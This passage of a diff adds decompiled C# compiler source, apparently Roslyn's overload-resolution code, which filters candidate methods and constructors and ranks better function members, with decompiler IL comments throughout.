or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + Dictionary> containingTypeMapOpt = null; + if (checkOverriddenOrHidden && members.Count > 50) + { + containingTypeMapOpt = PartitionMembersByContainingType(members); + } + for (int i = 0; i < members.Count; i++) + { + AddMemberToCandidateSet(members[i], results, members, typeArguments, arguments, completeResults, isMethodGroupConversion, allowRefOmittedArguments, containingTypeMapOpt, inferWithDynamic, ref useSiteInfo, allowUnexpandedForm, checkOverriddenOrHidden); + } + ClearContainingTypeMap(ref containingTypeMapOpt); + RemoveInaccessibleTypeArguments(results, ref useSiteInfo); + if (checkOverriddenOrHidden) + { + RemoveLessDerivedMembers(results, ref useSiteInfo); + } + if (Compilation.LanguageVersion.AllowImprovedOverloadCandidates()) + { + RemoveStaticInstanceMismatches(results, arguments, receiver); + RemoveConstraintViolations(results, new CompoundUseSiteInfo(useSiteInfo)); + if (isMethodGroupConversion) + { + RemoveDelegateConversionsWithWrongReturnType(results, ref useSiteInfo, returnRefKind, returnType, isFunctionPointerResolution); + } + } + if (isFunctionPointerResolution) + { + RemoveCallingConventionMismatches(results, in callingConventionInfo); + RemoveMethodsNotDeclaredStatic(results); + } + ReportUseSiteInfo(results, ref useSiteInfo); + if (AnyValidResult(results)) + { + RemoveWorseMembers(results, arguments, ref useSiteInfo); + } + } + + internal void FunctionPointerOverloadResolution(ArrayBuilder funcPtrBuilder, AnalyzedArguments analyzedArguments, OverloadResolutionResult overloadResolutionResult, ref CompoundUseSiteInfo useSiteInfo) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + AddMemberToCandidateSet(funcPtrBuilder[0], overloadResolutionResult.ResultsBuilder, funcPtrBuilder, instance, analyzedArguments, completeResults: true, isMethodGroupConversion: false, allowRefOmittedArguments: false, null, inferWithDynamic: false, ref useSiteInfo, allowUnexpandedForm: true); + ReportUseSiteInfo(overloadResolutionResult.ResultsBuilder, ref useSiteInfo); + } + + private void RemoveStaticInstanceMismatches(ArrayBuilder> results, AnalyzedArguments arguments, BoundExpression receiverOpt) where TMember : Symbol + { + if (!arguments.IsExtensionMethodInvocation && !Binder.IsTypeOrValueExpression(receiverOpt)) + { + bool flag = Binder.WasImplicitReceiver(receiverOpt); + bool inStaticContext; + bool flag2 = !_binder.HasThis(!flag, out inStaticContext) || inStaticContext; + if (!flag || flag2) + { + bool requireStatic = (flag && flag2) || Binder.IsMemberAccessedThroughType(receiverOpt); + RemoveStaticInstanceMismatches(results, requireStatic); + } + } + } + + private static void RemoveStaticInstanceMismatches(ArrayBuilder> results, bool requireStatic) where TMember : Symbol + { + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + TMember member = memberResolutionResult.Member; + if (memberResolutionResult.Result.IsValid && member.RequiresInstanceReceiver() == requireStatic) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.StaticInstanceMismatch()); + } + } + } + + private static void RemoveMethodsNotDeclaredStatic(ArrayBuilder> results) where TMember : Symbol + { + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + TMember member = memberResolutionResult.Member; + if (memberResolutionResult.Result.IsValid && !member.IsStatic) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.StaticInstanceMismatch()); + } + } + } + + private void RemoveConstraintViolations(ArrayBuilder> results, CompoundUseSiteInfo template) where TMember : Symbol + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + if (typeof(TMember) != typeof(MethodSymbol)) + { + return; + } + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + MethodSymbol method = (MethodSymbol)(object)memberResolutionResult.Member; + if ((memberResolutionResult.Result.IsValid || memberResolutionResult.Result.Kind == MemberResolutionKind.ConstructedParameterFailedConstraintCheck) && FailsConstraintChecks(method, out var constraintFailureDiagnosticsOpt, template)) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.ConstraintFailure(constraintFailureDiagnosticsOpt.ToImmutableAndFree())); + } + } + } + + private void RemoveCallingConventionMismatches(ArrayBuilder> results, in CallingConventionInfo expectedConvention) where TMember : Symbol + { + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_014c: Unknown result type (might be due to invalid IL or missing references) + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + //IL_0130: Unknown result type (might be due to invalid IL or missing references) + if (typeof(TMember) != typeof(MethodSymbol) || _binder.InAttributeArgument || (_binder.Flags & BinderFlags.InContextualAttributeBinder) != BinderFlags.None) + { + return; + } + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult result = results[i]; + MethodSymbol methodSymbol = (MethodSymbol)(object)result.Member; + if (!result.Result.IsValid) + { + continue; + } + UnmanagedCallersOnlyAttributeData unmanagedCallersOnlyAttributeData = methodSymbol.GetUnmanagedCallersOnlyAttributeData(forceComplete: true); + CallingConvention val; + ImmutableHashSet immutableHashSet; + ImmutableHashSet callingConventionTypes; + if (unmanagedCallersOnlyAttributeData == null) + { + val = methodSymbol.CallingConvention; + immutableHashSet = ImmutableHashSet.Empty; + } + else + { + callingConventionTypes = unmanagedCallersOnlyAttributeData.CallingConventionTypes; + int count = callingConventionTypes.Count; + if (count != 0) + { + if (count != 1) + { + goto IL_013b; + } + switch (((ISymbolInternal)callingConventionTypes.Single()).Name) + { + case "CallConvCdecl": + break; + case "CallConvStdcall": + goto IL_0117; + case "CallConvThiscall": + goto IL_0123; + case "CallConvFastcall": + goto IL_012f; + default: + goto IL_013b; + } + val = (CallingConvention)1; + immutableHashSet = ImmutableHashSet.Empty; + } + else + { + val = (CallingConvention)9; + immutableHashSet = ImmutableHashSet.Empty; + } + } + goto IL_0143; + IL_013b: + val = (CallingConvention)9; + immutableHashSet = callingConventionTypes; + goto IL_0143; + IL_012f: + val = (CallingConvention)4; + immutableHashSet = ImmutableHashSet.Empty; + goto IL_0143; + IL_0123: + val = (CallingConvention)3; + immutableHashSet = ImmutableHashSet.Empty; + goto IL_0143; + IL_0117: + val = (CallingConvention)2; + immutableHashSet = ImmutableHashSet.Empty; + goto IL_0143; + IL_0143: + if (CallingConventionUtils.HasUnknownCallingConventionAttributeBits(val) || !CallingConventionUtils.IsCallingConvention(val, expectedConvention.CallKind)) + { + results[i] = makeWrongCallingConvention(result); + } + else + { + if (!CallingConventionUtils.IsCallingConvention(expectedConvention.CallKind, (CallingConvention)9)) + { + continue; + } + if (expectedConvention.UnmanagedCallingConventionTypes.Count != immutableHashSet.Count) + { + results[i] = makeWrongCallingConvention(result); + continue; + } + foreach (CustomModifier unmanagedCallingConventionType in expectedConvention.UnmanagedCallingConventionTypes) + { + if (!immutableHashSet.Contains((INamedTypeSymbolInternal)(object)((CSharpCustomModifier)(object)unmanagedCallingConventionType).ModifierSymbol)) + { + results[i] = makeWrongCallingConvention(result); + break; + } + } + } + } + static MemberResolutionResult makeWrongCallingConvention(MemberResolutionResult memberResolutionResult) + { + return memberResolutionResult.WithResult(MemberAnalysisResult.WrongCallingConvention()); + } + } + + private bool FailsConstraintChecks(MethodSymbol method, out ArrayBuilder constraintFailureDiagnosticsOpt, CompoundUseSiteInfo template) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + if (method.Arity == 0 || (object)method.OriginalDefinition == method) + { + constraintFailureDiagnosticsOpt = null; + return false; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder useSiteDiagnosticsBuilder = null; + if (!ConstraintsHelper.CheckMethodConstraints(method, new ConstraintsHelper.CheckConstraintsArgs(Compilation, Conversions, includeNullability: false, NoLocation.Singleton, null, template), instance, null, ref useSiteDiagnosticsBuilder)) + { + if (useSiteDiagnosticsBuilder != null) + { + instance.AddRange(useSiteDiagnosticsBuilder); + useSiteDiagnosticsBuilder.Free(); + } + constraintFailureDiagnosticsOpt = instance; + return true; + } + instance.Free(); + useSiteDiagnosticsBuilder?.Free(); + constraintFailureDiagnosticsOpt = null; + return false; + } + + private void RemoveDelegateConversionsWithWrongReturnType(ArrayBuilder> results, ref CompoundUseSiteInfo useSiteInfo, RefKind? returnRefKind, TypeSymbol returnType, bool isFunctionPointerConversion) where TMember : Symbol + { + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + if (!memberResolutionResult.Result.IsValid) + { + continue; + } + MethodSymbol methodSymbol = (MethodSymbol)(object)memberResolutionResult.Member; + bool flag; + if ((object)returnType == null || methodSymbol.ReturnType.Equals(returnType, (TypeCompareKind)63)) + { + flag = true; + } + else if (returnRefKind == (RefKind?)0) + { + flag = Conversions.HasIdentityOrImplicitReferenceConversion(methodSymbol.ReturnType, returnType, ref useSiteInfo); + if (!flag && isFunctionPointerConversion) + { + flag = ConversionsBase.HasImplicitPointerToVoidConversion(methodSymbol.ReturnType, returnType) || Conversions.HasImplicitPointerConversion(methodSymbol.ReturnType, returnType, ref useSiteInfo); + } + } + else + { + flag = false; + } + if (!flag) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.WrongReturnType()); + } + else if ((RefKind?)methodSymbol.RefKind != returnRefKind) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.WrongRefKind()); + } + } + } + + private static Dictionary> PartitionMembersByContainingType(ArrayBuilder members) where TMember : Symbol + { + Dictionary> dictionary = new Dictionary>(); + for (int i = 0; i < members.Count; i++) + { + TMember val = members[i]; + NamedTypeSymbol containingType = val.ContainingType; + if (!dictionary.TryGetValue(containingType, out var value)) + { + value = (dictionary[containingType] = ArrayBuilder.GetInstance()); + } + value.Add(val); + } + return dictionary; + } + + private static void ClearContainingTypeMap(ref Dictionary> containingTypeMapOpt) where TMember : Symbol + { + if (containingTypeMapOpt == null) + { + return; + } + foreach (ArrayBuilder value in containingTypeMapOpt.Values) + { + value.Free(); + } + containingTypeMapOpt = null; + } + + private void AddConstructorToCandidateSet(MethodSymbol constructor, ArrayBuilder> results, AnalyzedArguments arguments, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) + { + if (constructor.HasUnsupportedMetadata) + { + if (completeResults) + { + results.Add(new MemberResolutionResult(constructor, constructor, MemberAnalysisResult.UnsupportedMetadata(), hasTypeArgumentInferredFromFunctionType: false)); + } + return; + } + MemberAnalysisResult memberAnalysisResult = IsConstructorApplicableInNormalForm(constructor, arguments, completeResults, ref useSiteInfo); + MemberAnalysisResult result = memberAnalysisResult; + if (!memberAnalysisResult.IsValid && IsValidParams(constructor)) + { + MemberAnalysisResult memberAnalysisResult2 = IsConstructorApplicableInExpandedForm(constructor, arguments, completeResults, ref useSiteInfo); + if (memberAnalysisResult2.IsValid || completeResults) + { + result = memberAnalysisResult2; + } + } + if (result.IsValid || completeResults || result.HasUseSiteDiagnosticToReportFor(constructor)) + { + results.Add(new MemberResolutionResult(constructor, constructor, result, hasTypeArgumentInferredFromFunctionType: false)); + } + } + + private MemberAnalysisResult IsConstructorApplicableInNormalForm(MethodSymbol constructor, AnalyzedArguments arguments, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) + { + ArgumentAnalysisResult argAnalysis = AnalyzeArguments(constructor, arguments, isMethodGroupConversion: false, expanded: false); + if (!argAnalysis.IsValid) + { + return MemberAnalysisResult.ArgumentParameterMismatch(argAnalysis); + } + if (constructor.HasUseSiteError) + { + return MemberAnalysisResult.UseSiteError(); + } + EffectiveParameters effectiveParametersInNormalForm = GetEffectiveParametersInNormalForm(constructor, arguments.Arguments.Count, argAnalysis.ArgsToParamsOpt, arguments.RefKinds, isMethodGroupConversion: false, allowRefOmittedArguments: false); + return IsApplicable(constructor, effectiveParametersInNormalForm, arguments, argAnalysis.ArgsToParamsOpt, constructor.IsVararg, hasAnyRefOmittedArgument: false, ignoreOpenTypes: false, completeResults, ref useSiteInfo); + } + + private MemberAnalysisResult IsConstructorApplicableInExpandedForm(MethodSymbol constructor, AnalyzedArguments arguments, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) + { + ArgumentAnalysisResult argAnalysis = AnalyzeArguments(constructor, arguments, isMethodGroupConversion: false, expanded: true); + if (!argAnalysis.IsValid) + { + return MemberAnalysisResult.ArgumentParameterMismatch(argAnalysis); + } + if (constructor.HasUseSiteError) + { + return MemberAnalysisResult.UseSiteError(); + } + EffectiveParameters effectiveParametersInExpandedForm = GetEffectiveParametersInExpandedForm(constructor, arguments.Arguments.Count, argAnalysis.ArgsToParamsOpt, arguments.RefKinds, isMethodGroupConversion: false, allowRefOmittedArguments: false); + MemberAnalysisResult result = IsApplicable(constructor, effectiveParametersInExpandedForm, arguments, argAnalysis.ArgsToParamsOpt, isVararg: false, hasAnyRefOmittedArgument: false, ignoreOpenTypes: false, completeResults, ref useSiteInfo); + if (!result.IsValid) + { + return result; + } + return MemberAnalysisResult.ExpandedForm(result.ArgsToParamsOpt, result.ConversionsOpt, hasAnyRefOmittedArgument: false); + } + + private void AddMemberToCandidateSet(TMember member, ArrayBuilder> results, ArrayBuilder members, ArrayBuilder typeArguments, AnalyzedArguments arguments, bool completeResults, bool isMethodGroupConversion, bool allowRefOmittedArguments, Dictionary> containingTypeMapOpt, bool inferWithDynamic, ref CompoundUseSiteInfo useSiteInfo, bool allowUnexpandedForm, bool checkOverriddenOrHidden = true) where TMember : Symbol + { + if (checkOverriddenOrHidden && members.Count >= 2) + { + if (containingTypeMapOpt == null) + { + if (MemberGroupContainsMoreDerivedOverride(members, member, checkOverrideContainingType: true, ref useSiteInfo) || MemberGroupHidesByName(members, member, ref useSiteInfo)) + { + return; + } + } + else if (containingTypeMapOpt.Count != 1) + { + NamedTypeSymbol containingType = member.ContainingType; + foreach (KeyValuePair> item in containingTypeMapOpt) + { + if (item.Key.IsDerivedFrom(containingType, (TypeCompareKind)0, ref useSiteInfo)) + { + ArrayBuilder value = item.Value; + if (MemberGroupContainsMoreDerivedOverride(value, member, checkOverrideContainingType: false, ref useSiteInfo) || MemberGroupHidesByName(value, member, ref useSiteInfo)) + { + return; + } + } + } + } + } + TMember val = (TMember)member.GetLeastOverriddenMember(_binder.ContainingType); + if (member.HasUnsupportedMetadata) + { + if (completeResults) + { + results.Add(new MemberResolutionResult(member, val, MemberAnalysisResult.UnsupportedMetadata(), hasTypeArgumentInferredFromFunctionType: false)); + } + return; + } + MemberResolutionResult memberResolutionResult = ((allowUnexpandedForm || !IsValidParams(val)) ? IsMemberApplicableInNormalForm(member, val, typeArguments, arguments, isMethodGroupConversion, allowRefOmittedArguments, inferWithDynamic, completeResults, ref useSiteInfo) : default(MemberResolutionResult)); + MemberResolutionResult memberResolutionResult2 = memberResolutionResult; + if (!memberResolutionResult.Result.IsValid && !isMethodGroupConversion && IsValidParams(val)) + { + MemberResolutionResult memberResolutionResult3 = IsMemberApplicableInExpandedForm(member, val, typeArguments, arguments, allowRefOmittedArguments, completeResults, ref useSiteInfo); + if (PreferExpandedFormOverNormalForm(memberResolutionResult.Result, memberResolutionResult3.Result)) + { + memberResolutionResult2 = memberResolutionResult3; + } + } + if (memberResolutionResult2.Result.IsValid || completeResults || memberResolutionResult2.HasUseSiteDiagnosticToReport) + { + results.Add(memberResolutionResult2); + } + else + { + memberResolutionResult2.Member.AddUseSiteInfo(ref useSiteInfo, addDiagnostics: false); + } + } + + private static bool PreferExpandedFormOverNormalForm(MemberAnalysisResult normalResult, MemberAnalysisResult expandedResult) + { + if (expandedResult.IsValid) + { + return true; + } + MemberResolutionKind kind = normalResult.Kind; + if (kind == MemberResolutionKind.NoCorrespondingParameter || kind == MemberResolutionKind.RequiredParameterMissing) + { + switch (expandedResult.Kind) + { + case MemberResolutionKind.NoCorrespondingNamedParameter: + case MemberResolutionKind.DuplicateNamedArgument: + case MemberResolutionKind.NameUsedForPositional: + case MemberResolutionKind.BadNonTrailingNamedArgument: + case MemberResolutionKind.UseSiteError: + case MemberResolutionKind.BadArgumentConversion: + case MemberResolutionKind.TypeInferenceFailed: + case MemberResolutionKind.TypeInferenceExtensionInstanceArgument: + case MemberResolutionKind.ConstructedParameterFailedConstraintCheck: + return true; + } + } + return false; + } + + public static bool IsValidParams(Symbol member) + { + if (member.GetIsVararg()) + { + return false; + } + if (member.GetParameterCount() == 0) + { + return false; + } + return IsValidParamsParameter(member.GetParameters().Last()); + } + + public static bool IsValidParamsParameter(ParameterSymbol final) + { + if (final.IsParams) + { + return final.OriginalDefinition.Type.IsSZArray(); + } + return false; + } + + private static bool IsMoreDerivedOverride(Symbol member, Symbol moreDerivedOverride, bool checkOverrideContainingType, ref CompoundUseSiteInfo useSiteInfo) + { + if (!moreDerivedOverride.IsOverride || (checkOverrideContainingType && !moreDerivedOverride.ContainingType.IsDerivedFrom(member.ContainingType, (TypeCompareKind)0, ref useSiteInfo)) || !MemberSignatureComparer.SloppyOverrideComparer.Equals(member, moreDerivedOverride)) + { + return false; + } + return moreDerivedOverride.GetLeastOverriddenMember(null).OriginalDefinition == member.GetLeastOverriddenMember(null).OriginalDefinition; + } + + private static bool MemberGroupContainsMoreDerivedOverride(ArrayBuilder members, TMember member, bool checkOverrideContainingType, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + if (!member.IsVirtual && !member.IsAbstract && !member.IsOverride) + { + return false; + } + if (!member.ContainingType.IsClassType()) + { + return false; + } + for (int i = 0; i < members.Count; i++) + { + if (IsMoreDerivedOverride(member, members[i], checkOverrideContainingType, ref useSiteInfo)) + { + return true; + } + } + return false; + } + + private static bool MemberGroupHidesByName(ArrayBuilder members, TMember member, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol containingType = member.ContainingType; + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + TMember current = enumerator.Current; + NamedTypeSymbol containingType2 = current.ContainingType; + if (HidesByName(current) && containingType2.IsDerivedFrom(containingType, (TypeCompareKind)0, ref useSiteInfo)) + { + return true; + } + } + return false; + } + + private static bool HidesByName(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Invalid comparison between Unknown and I4 + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 9) + { + if ((int)kind == 15) + { + return ((PropertySymbol)member).HidesBasePropertiesByName; + } + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + return ((MethodSymbol)member).HidesBaseMethodsByName; + } + + private void RemoveInaccessibleTypeArguments(ArrayBuilder> results, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + if (memberResolutionResult.Result.IsValid && !TypeArgumentsAccessible(memberResolutionResult.Member.GetMemberTypeArgumentsNoUseSiteDiagnostics(), ref useSiteInfo)) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.InaccessibleTypeArgument()); + } + } + } + + private bool TypeArgumentsAccessible(ImmutableArray typeArguments, ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray.Enumerator enumerator = typeArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeSymbol current = enumerator.Current; + if (!_binder.IsAccessible(current, ref useSiteInfo)) + { + return false; + } + } + return true; + } + + private static void RemoveLessDerivedMembers(ArrayBuilder> results, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + RemoveAllInterfaceMembers(results); + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + if ((memberResolutionResult.Result.IsValid || memberResolutionResult.HasUseSiteDiagnosticToReport) && IsLessDerivedThanAny(i, memberResolutionResult.LeastOverriddenMember.ContainingType, results, ref useSiteInfo)) + { + results[i] = memberResolutionResult.WithResult(MemberAnalysisResult.LessDerived()); + } + } + } + + private static bool IsLessDerivedThanAny(int index, TypeSymbol type, ArrayBuilder> results, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Invalid comparison between Unknown and I4 + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Invalid comparison between Unknown and I4 + for (int i = 0; i < results.Count; i++) + { + if (i == index) + { + continue; + } + MemberResolutionResult memberResolutionResult = results[i]; + if (memberResolutionResult.Result.IsValid) + { + NamedTypeSymbol containingType = memberResolutionResult.LeastOverriddenMember.ContainingType; + if ((int)type.SpecialType == 1 && (int)containingType.SpecialType != 1) + { + return true; + } + if (containingType.IsInterfaceType() && type.IsInterfaceType() && containingType.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo).Contains((NamedTypeSymbol)type)) + { + return true; + } + if (containingType.IsClassType() && type.IsClassType() && containingType.IsDerivedFrom(type, (TypeCompareKind)0, ref useSiteInfo)) + { + return true; + } + } + } + return false; + } + + private static void RemoveAllInterfaceMembers(ArrayBuilder> results) where TMember : Symbol + { + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + bool flag = false; + for (int i = 0; i < results.Count; i++) + { + MemberResolutionResult memberResolutionResult = results[i]; + if (memberResolutionResult.Result.IsValid) + { + NamedTypeSymbol containingType = memberResolutionResult.LeastOverriddenMember.ContainingType; + if (containingType.IsClassType() && (int)containingType.GetSpecialTypeSafe() != 1) + { + flag = true; + break; + } + } + } + if (!flag) + { + return; + } + for (int j = 0; j < results.Count; j++) + { + MemberResolutionResult memberResolutionResult2 = results[j]; + if (memberResolutionResult2.Result.IsValid && memberResolutionResult2.Member.ContainingType.IsInterfaceType()) + { + results[j] = memberResolutionResult2.WithResult(MemberAnalysisResult.LessDerived()); + } + } + } + + private void PerformObjectCreationOverloadResolution(ArrayBuilder> results, ImmutableArray constructors, AnalyzedArguments arguments, bool completeResults, ref CompoundUseSiteInfo useSiteInfo) + { + ImmutableArray.Enumerator enumerator = constructors.GetEnumerator(); + while (enumerator.MoveNext()) + { + MethodSymbol current = enumerator.Current; + AddConstructorToCandidateSet(current, results, arguments, completeResults, ref useSiteInfo); + } + ReportUseSiteInfo(results, ref useSiteInfo); + RemoveWorseMembers(results, arguments, ref useSiteInfo); + } + + private static void ReportUseSiteInfo(ArrayBuilder> results, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Enumerator> enumerator = results.GetEnumerator(); + while (enumerator.MoveNext()) + { + MemberResolutionResult current = enumerator.Current; + current.Member.AddUseSiteInfo(ref useSiteInfo, current.HasUseSiteDiagnosticToReport); + } + } + + private int GetTheBestCandidateIndex(ArrayBuilder> results, AnalyzedArguments arguments, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + int num = -1; + for (int i = 0; i < results.Count; i++) + { + if (!results[i].IsValid) + { + continue; + } + if (num == -1) + { + num = i; + continue; + } + if (results[num].Member == results[i].Member) + { + num = -1; + continue; + } + switch (BetterFunctionMember(results[num], results[i], arguments.Arguments, ref useSiteInfo)) + { + case BetterResult.Right: + num = i; + break; + default: + num = -1; + break; + case BetterResult.Left: + break; + } + } + for (int j = 0; j < num; j++) + { + if (results[j].IsValid) + { + if (results[num].Member == results[j].Member) + { + return -1; + } + if (BetterFunctionMember(results[num], results[j], arguments.Arguments, ref useSiteInfo) != BetterResult.Left) + { + return -1; + } + } + } + return num; + } + + private void RemoveWorseMembers(ArrayBuilder> results, AnalyzedArguments arguments, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + if (SingleValidResult(results)) + { + return; + } + int theBestCandidateIndex = GetTheBestCandidateIndex(results, arguments, ref useSiteInfo); + if (theBestCandidateIndex != -1) + { + for (int i = 0; i < results.Count; i++) + { + if (results[i].IsValid && i != theBestCandidateIndex) + { + results[i] = results[i].Worse(); + } + } + return; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(results.Count, 0); + int num = 0; + int num2 = -1; + for (int j = 0; j < results.Count; j++) + { + MemberResolutionResult m = results[j]; + if (!m.IsValid || instance[j] == 1) + { + continue; + } + for (int k = 0; k < results.Count; k++) + { + MemberResolutionResult m2 = results[k]; + if (m2.IsValid && j != k && !(m.Member == m2.Member)) + { + switch (BetterFunctionMember(m, m2, arguments.Arguments, ref useSiteInfo)) + { + case BetterResult.Left: + instance[k] = 1; + continue; + case BetterResult.Right: + break; + default: + continue; + } + instance[j] = 1; + break; + } + } + if (instance[j] == 0) + { + instance[j] = 2; + num++; + num2 = j; + } + } + switch (num) + { + case 0: + { + for (int n = 0; n < instance.Count; n++) + { + if (instance[n] == 1) + { + results[n] = results[n].Worse(); + } + } + break; + } + case 1: + { + for (int num3 = 0; num3 < instance.Count; num3++) + { + if (instance[num3] == 1) + { + results[num3] = ((BetterFunctionMember(results[num2], results[num3], arguments.Arguments, ref useSiteInfo) == BetterResult.Left) ? results[num3].Worst() : results[num3].Worse()); + } + } + results[num2] = results[num2].Worse(); + break; + } + default: + { + for (int l = 0; l < instance.Count; l++) + { + if (instance[l] == 1) + { + results[l] = results[l].Worst(); + } + else if (instance[l] == 2) + { + results[l] = results[l].Worse(); + } + } + break; + } + } + instance.Free(); + } + + private static TypeSymbol GetParameterType(ParameterSymbol parameter, MemberAnalysisResult result) + { + TypeSymbol type = parameter.Type; + if (result.Kind == MemberResolutionKind.ApplicableInExpandedForm && parameter.IsParams && type.IsSZArray()) + { + return ((ArrayTypeSymbol)type).ElementType; + } + return type; + } + + private static ParameterSymbol GetParameter(int argIndex, MemberAnalysisResult result, ImmutableArray parameters) + { + int index = result.ParameterFromArgument(argIndex); + return parameters[index]; + } + + private BetterResult BetterFunctionMember(MemberResolutionResult m1, MemberResolutionResult m2, ArrayBuilder arguments, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + bool num = RequiredFunctionType(m1); + bool flag = RequiredFunctionType(m2); + if (!num) + { + if (flag) + { + return BetterResult.Left; + } + } + else if (!flag) + { + return BetterResult.Right; + } + bool hasAnyRefOmittedArgument = m1.Result.HasAnyRefOmittedArgument; + bool hasAnyRefOmittedArgument2 = m2.Result.HasAnyRefOmittedArgument; + if (hasAnyRefOmittedArgument != hasAnyRefOmittedArgument2) + { + if (!hasAnyRefOmittedArgument) + { + return BetterResult.Left; + } + return BetterResult.Right; + } + return BetterFunctionMember(m1, m2, arguments, hasAnyRefOmittedArgument, ref useSiteInfo); + } + + private BetterResult BetterFunctionMember(MemberResolutionResult m1, MemberResolutionResult m2, ArrayBuilder arguments, bool considerRefKinds, ref CompoundUseSiteInfo useSiteInfo) where TMember : Symbol + { + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Unknown result type (might be due to invalid IL or missing references) + //IL_03f5: Unknown result type (might be due to invalid IL or missing references) + //IL_03fa: Unknown result type (might be due to invalid IL or missing references) + //IL_03fc: Unknown result type (might be due to invalid IL or missing references) + //IL_0401: Unknown result type (might be due to invalid IL or missing references) + //IL_04f8: Unknown result type (might be due to invalid IL or missing references) + //IL_04ff: Invalid comparison between Unknown and I4 + //IL_0512: Unknown result type (might be due to invalid IL or missing references) + //IL_0519: Invalid comparison between Unknown and I4 + BetterResult betterResult = BetterResult.Neither; + bool flag = false; + bool flag2 = false; + ImmutableArray parameters = m1.LeastOverriddenMember.GetParameters(); + ImmutableArray parameters2 = m2.LeastOverriddenMember.GetParameters(); + bool flag3 = true; + int i; + for (i = 0; i < arguments.Count; i++) + { + if (arguments[i].Kind == BoundKind.ArgListOperator) + { + continue; + } + ParameterSymbol parameter = GetParameter(i, m1.Result, parameters); + TypeSymbol parameterType = GetParameterType(parameter, m1.Result); + ParameterSymbol parameter2 = GetParameter(i, m2.Result, parameters2); + TypeSymbol parameterType2 = GetParameterType(parameter2, m2.Result); + bool okToDowngradeToNeither; + BetterResult betterResult2 = BetterConversionFromExpression(arguments[i], parameterType, m1.Result.ConversionForArg(i), parameter.RefKind, parameterType2, m2.Result.ConversionForArg(i), parameter2.RefKind, considerRefKinds, ref useSiteInfo, out okToDowngradeToNeither); + TypeSymbol source = parameterType; + TypeSymbol destination = parameterType2; + if (!_binder.InAttributeArgument) + { + source = parameterType.NormalizeTaskTypes(Compilation); + destination = parameterType2.NormalizeTaskTypes(Compilation); + } + if (betterResult2 == BetterResult.Neither) + { + if (flag3 && Conversions.ClassifyImplicitConversionFromType(source, destination, ref useSiteInfo).Kind != ConversionKind.Identity) + { + flag3 = false; + } + continue; + } + if (Conversions.ClassifyImplicitConversionFromType(source, destination, ref useSiteInfo).Kind != ConversionKind.Identity) + { + flag3 = false; + } + if (betterResult == BetterResult.Neither) + { + if (!(flag2 && okToDowngradeToNeither)) + { + betterResult 